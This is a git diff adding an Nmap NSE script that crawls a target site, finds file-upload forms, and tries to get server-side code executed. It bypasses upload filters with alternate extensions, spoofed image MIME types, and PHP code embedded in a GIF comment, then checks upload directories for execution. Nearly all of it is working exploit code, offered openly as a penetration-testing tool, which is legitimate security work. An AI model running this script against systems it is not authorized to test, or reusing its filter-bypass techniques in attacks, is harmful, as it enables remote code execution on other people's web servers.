diff options
Diffstat (limited to 'scripts/http-fileupload-exploiter.nse')
-rw-r--r-- | scripts/http-fileupload-exploiter.nse | 342 |
1 files changed, 342 insertions, 0 deletions
diff --git a/scripts/http-fileupload-exploiter.nse b/scripts/http-fileupload-exploiter.nse new file mode 100644 index 0000000..b771ae9 --- /dev/null +++ b/scripts/http-fileupload-exploiter.nse @@ -0,0 +1,342 @@ +description = [[ +Exploits insecure file upload forms in web applications +using various techniques like changing the Content-type +header or creating valid image files containing the +payload in the comment. +]] + +--- +-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target> +-- +-- This script discovers the upload form on the target's page and +-- attempts to exploit it using 3 different methods: +-- +-- 1) At first, it tries to upload payloads with different insecure +-- extensions. This will work against a weak blacklist used by a file +-- name extension verifier. +-- +-- 2) If (1) doesn't work, it will try to upload the same payloads +-- this time with different Content-type headers, like "image/gif" +-- instead of the "text/plain". This will trick any mechanisms that +-- check the MIME type. +-- +-- 3) If (2), doesn't work, it will create some proper GIF images +-- that contain the payloads in the comment. The interpreter will +-- see the executable inside some binary garbage. This will bypass +-- any check of the actual content of the uploaded file. +-- +-- TODO: +-- * Use the vulns library to report. +-- +-- @args http-fileupload-exploiter.formpaths The pages that contain +-- the forms to exploit. For example, {/upload.php, /login.php}. +-- Default: nil (crawler mode on) +-- @args http-fileupload-exploiter.uploadspaths Directories with +-- the uploaded files. For example, {/avatars, /photos}. Default: +-- {'/uploads', '/upload', '/file', '/files', '/downloads'} +-- @args http-fileupload-exploiter.fieldvalues The script will try to +-- fill every field found in the upload form but that may fail +-- due to fields' restrictions. You can manually fill those +-- fields using this table. For example, {gender = "male", email +-- = "foo@bar.com"}. Default: {} +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | Testing page /post.html +-- | +-- | Successfully uploaded and executed payloads: +-- | Filename: 1.php, MIME: text/plain +-- |_ Filename: 1.php3, MIME: text/plain +--- + +categories = {"intrusive", "exploit", "vuln"} +author = "George Chatzisofroniou" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" + +local http = require "http" +local io = require "io" +local nmap = require "nmap" +local string = require "string" +local httpspider = require "httpspider" +local shortport = require "shortport" +local stdnse = require "stdnse" +local table = require "table" + +portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") + + +-- A list of payloads. The interpreted code in the 'content' variable should +-- output the result in the 'check' variable. +-- +-- You can manually add / remove your own payloads but make sure you +-- don't mess up, otherwise the script may succeed when it actually +-- hasn't. +-- +-- Note, that more payloads will slow down your scan significantly. +payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, + { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, +-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, +-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, +-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" }, +-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" }, +-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" }, +-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" }, +-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" }, +} + +listofrequests = {} + +-- Escape for jsp and asp payloads. +local escape = function(s) + return (s:gsub('%%', '%%%%')) +end + +-- Represents an upload-request. +local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check) + local request = { + host = host; + port = port; + submission = submission; + mime = mime; + name = name; + filename = filename; + partofrequest = partofrequest; + payload = payload; + check = check; + uploadedpaths = {}; + success = 0; + + make = function(self) + local options = { header={} } + options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x" + options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--' + + stdnse.debug2("Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content'])) + + local response = http.post(self.host, self.port, self.submission, options, { no_cache = true }) + + return response.body + end; + + checkPayload = function(self, uploadspaths) + for _, uploadpath in ipairs(uploadspaths) do + local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } ) + + if response.status ~= 404 then + if (response.body:match(self.check)) then + self.success = 1 + table.insert(self.uploadedpaths, uploadpath) + end + end + end + end; + } + table.insert(listofrequests, request) + return request +end + +-- Create customized requests for all of our payloads. +local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image) + + for i, p in ipairs(payloads) do + if image then + p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true) + end + UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check']) + end + +end + +-- Make the requests that we previously created with buildRequests() +-- Check if the payloads were successful by checking the content of pages in the uploadspaths array. +local makeAndCheckRequests = function(uploadspaths) + + local exit = 0 + local output = {"Successfully uploaded and executed payloads: "} + + for i=1, #listofrequests, 1 do + listofrequests[i]:make() + listofrequests[i]:checkPayload(uploadspaths) + if (listofrequests[i].success == 1) then + exit = 1 + table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ") + for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do + table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename) + end + end + end + + if exit == 1 then + return output + end + + listofrequests = {} + +end + +local prepareRequest = function(fields, fieldvalues) + + local filefield = 0 + local req = {} + local value + + for _, field in ipairs(fields) do + if field["type"] == "file" then + -- FIXME: What if there is more than one <input type="file">? + filefield = field + elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then + if fieldvalues[field["name"]] ~= nil then + value = fieldvalues[field["name"]] + else + value = "SampleData0" + end + req[#req+1] = ('--AaB03x\nContent-Disposition: form-data; name="%s";\n\n%s\n'):format(field["name"], value) + end + end + + return table.concat(req), filefield + +end + +action = function(host, port) + + local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths") + local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'} + local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {} + + local returntable = {} + + local result + local foundform = 0 + local foundfield = 0 + local fail = 0 + + local pixel = nil + local pixelfn = nmap.fetchfile("nselib/data/pixel.gif") + if pixelfn then + local fh = io.open(pixelfn, "rb") + pixel = fh:read("a") + fh:close() + end + if not pixel then + stdnse.debug1("Warning: Test file nselib/data/pixel.gif not found") + end + + local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) + + if (not(crawler)) then + return + end + + crawler:set_timeout(10000) + + local index, k, target, response + + while (true) do + + if formpaths then + k, target = next(formpaths, index) + if (k == nil) then + break + end + response = http.get(host, port, target) + else + + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if ( not(status) ) then + if ( r.err ) then + return stdnse.format_output(false, r.reason) + else + break + end + end + + target = tostring(r.url) + response = r.response + + end + + + if response.body then + + local forms = http.grab_forms(response.body) + + for i, form in ipairs(forms) do + + form = http.parse_form(form) + + if form and form.action then + + local action_absolute = string.find(form["action"], "https*://") + + -- Determine the path where the form needs to be submitted. + local submission + if action_absolute then + submission = form["action"] + else + local path_cropped = string.match(target, "(.*/).*") + path_cropped = path_cropped and path_cropped or "" + submission = path_cropped..form["action"] + end + + foundform = 1 + + local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues) + + if filefield ~= 0 then + + foundfield = 1 + + -- Method (1). + buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths) + + result = makeAndCheckRequests(uploadspaths) + if result then + table.insert(returntable, result) + break + end + + -- Method (2). + buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths) + buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths) + buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths) + + result = makeAndCheckRequests(uploadspaths) + if result then + table.insert(returntable, result) + break + end + + -- Method (3). + if pixel then + buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, pixel) + + result = makeAndCheckRequests(uploadspaths) + if result then + table.insert(returntable, result) + else + fail = 1 + end + end + end + else + table.insert(returntable, {"Couldn't find a file-type field."}) + end + end + end + if fail == 1 then + table.insert(returntable, {"Failed to upload and execute a payload."}) + end + if (index) then + index = index + 1 + else + index = 1 + end + end + if next(returntable) then + return returntable + end +end |